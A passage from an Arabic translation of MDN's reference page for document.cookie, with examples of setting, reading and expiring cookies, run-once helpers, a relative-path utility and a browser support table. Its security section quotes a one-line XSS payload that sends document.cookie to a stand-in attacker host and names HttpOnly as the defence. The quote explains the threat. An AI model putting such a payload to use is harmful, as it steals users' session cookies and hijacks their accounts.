أن تُساويَ دائمًا الأصل في مُتصفّح Chrome. مُلاحظة: تعدّ الشرطة (-) جزءًا من السّابقة (prefix). ويُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّةsecure
كذلك.
-
مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة document.cookie
عبارة عن خاصيّة وصول (accessor property)، وفيها دالة getter ودالة setter، ما يعني أنّها ليست خاصيّة بيانات (data property) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر JavaScript في كلّ شيء على الدّوام.
أمثلة
استعمال بسيط للخاصية
document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
alert(document.cookie);
}
شيفرة HTML:
<button onclick="alertCookie()">اعرض ملفّات الارتباط</button>
الحصول على ملف ارتباط باسم test2
document.cookie = "test1=Hello";
document.cookie = "test2=World";
var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
function alertCookieValue() {
alert(cookieValue);
}
شيفرة HTML:
<button onclick="alertCookieValue()">اعرِض قيمة ملفّ الارتباط</button>
القيام بعمليةٍ ما لمرة واحدة فقط
لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط doSomethingOnlyOnce
، باسم ملفّ الارتباط الخاص بك.
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
alert("Do something here!");
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
}
شيفرة HTML:
<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button>
إعادة ضبط ملف الارتباط السابق
function resetOnce() {
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
شيفرة HTML:
<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button>
التحقق من وجود ملف ارتباط
تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم "reader"
.
if (document.cookie.split(';').indexOf('reader=') >= 0) {
console.log('ملفّ الارتباط موجود')
}
التحقق من أن ملف ارتباط يحمل قيمة محددة
تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا الاسم "reader"
يحمل القيمة 1
.
if (document.cookie.split(';').indexOf('reader=1') >= 0) {
console.log('قيمة ملفّ الارتباط هي 1')
}
الحماية
من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر iframe
مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة contentDocument.cookie
الخاصّة بعنصر iframe
. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب سياسَة الأصل الواحد.
تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى سرقة جلسة المُستخدم الذي سجّل دخوله. الطرائق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط HTTPOnly
عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال JavaScript. للاستزادة، انظر إلى Cookies and Security.
ملاحظات
- بدءًا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال تخزين DOM.
- يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر.
- تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال تخزين DOM إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط.
- تُحدّد مواصفة RFC 2965 (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفًا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر.
سبب البنية العامّة لخاصيّة الوصول document.cookie
يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (localStorage
) مثلًا.
يأمر الخادمُ العميلَ بتخزين ملفّ ارتباط كما يلي:
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
[مُحتويات الصّفحة هنا]
يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادم:
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
استعمال عناوين URL النّسبية مع المُعامل path
يقبل المُعامل path
الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل path
الخاصّ بملفّ ارتباط جديد بنجاح كذلك.
المكتبة
/*\
|*|
|*| :: Translate relative paths to absolute paths ::
|*|
|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*| https://developer.mozilla.org/User:fusionchess
|*|
|*| The following code is released under the GNU Public License, version 3 or later.
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/
function relPathToAbs (sRelPath) {
var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
}
return sDir + sPath.substr(nStart);
}
طريقة الاستعمال
نفترض أنّنا في المسار /JavaScript/Document/document.cookie
، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.
/* Let us be in /JavaScript/Document/document.cookie */
console.log(location.pathname);
// /JavaScript/Document/cookie
console.log(relPathToAbs("./"));
// /JavaScript/Document/
console.log(relPathToAbs("../Object/toString"));
// /JavaScript/Object/toString
console.log(relPathToAbs("../../Bootstrap"));
// /Bootstrap
console.log(relPathToAbs("../Object/./toString/../../../Bootstrap"));
// /Bootstrap
أمثلة أخرى
مكتبة عامة لتنفيذ عملية لمرة واحدة فقط
المكتبة
function executeOnce () {
var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
if (bImplGlob) { argc++; }
if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
var fExec = arguments[0], sKey = arguments[argc - 2];
if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
return true;
}
البنية العامة
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
الوصف
تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة.
المُعاملات
callback
- الدّالة المُراد تنفيذها (function).
thisObject
argumentToPass1, argumentToPass2, argumentToPassN
- مُعاملات الدّالة
callback
. وهي مُعاملات اختياريّة.
identifier
- المُعرّف الذي يُتحقّق منه، أي اسم ملفّ الارتباط (
string
).
onlyHere
- قيمة منطقيّة
Boolean
تُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمةtrue
) عوضا عن المسار العمومي (القيمةfalse
أوundefined
)، (إمّاboolean
أوundefined
). وهو مُعامل اختياريّ.
طريقة الاستعمال
function alertSomething (sMsg) {
alert(sMsg);
}
executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something");
دعم المتصفحات
الميزة | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari |
---|---|---|---|---|---|---|
الدعم الأساسي | نعم | نعم | نعم | نعم | نعم | نعم |
max-age
|
نعم | لا | نعم | لا | نعم | نعم |
السّابقتان __Host- و__Secure-
|
49 | ؟ | ؟ | لا | نعم | نعم |